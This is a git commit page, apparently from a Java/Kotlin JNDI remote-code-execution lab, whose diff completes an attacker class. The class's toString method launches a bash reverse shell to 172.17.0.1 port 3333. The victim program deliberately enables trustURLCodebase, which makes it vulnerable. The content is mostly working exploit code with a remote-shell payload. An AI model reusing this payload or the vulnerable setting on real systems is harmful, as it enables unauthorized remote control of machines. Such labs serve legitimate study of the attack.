Browse Source

feat: working

master
QuentinN42 10 months ago
parent
commit
433d8ad0e4
Signed by: number42 GPG Key ID: 2CD7D563712B3A50
  1. 10
      attacker/http/src/MadeClass.java
  2. 3
      bin/main/Main.kt
  3. 3
      src/Main.kt

10
attacker/http/src/MadeClass.java

@ -11,7 +11,15 @@ public class MadeClass {
// Add instrumentation
System.out.println("RCE Acheived in MadeClass::toString!");
// Do whatever we want
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("bash", "-c", "bash -i >& /dev/tcp/172.17.0.1/3333 0>&1");
try {
processBuilder.start();
} catch (Exception e) {
e.printStackTrace();
}
System.out.println("REVERSE SHELL :)");
RCEMain.rceMain();
// We could choose not to return. However, the caller is expecting an

3
bin/main/Main.kt

@ -13,4 +13,7 @@ fun work(input: String)
fun main(args: Array<String>) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true")
args.forEach{work(it)}
while (true) {
Thread.sleep(1000)
}
}

3
src/Main.kt

@ -13,4 +13,7 @@ fun work(input: String)
fun main(args: Array<String>) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true")
args.forEach{work(it)}
while (true) {
Thread.sleep(1000)
}
}

Loading…
Cancel
Save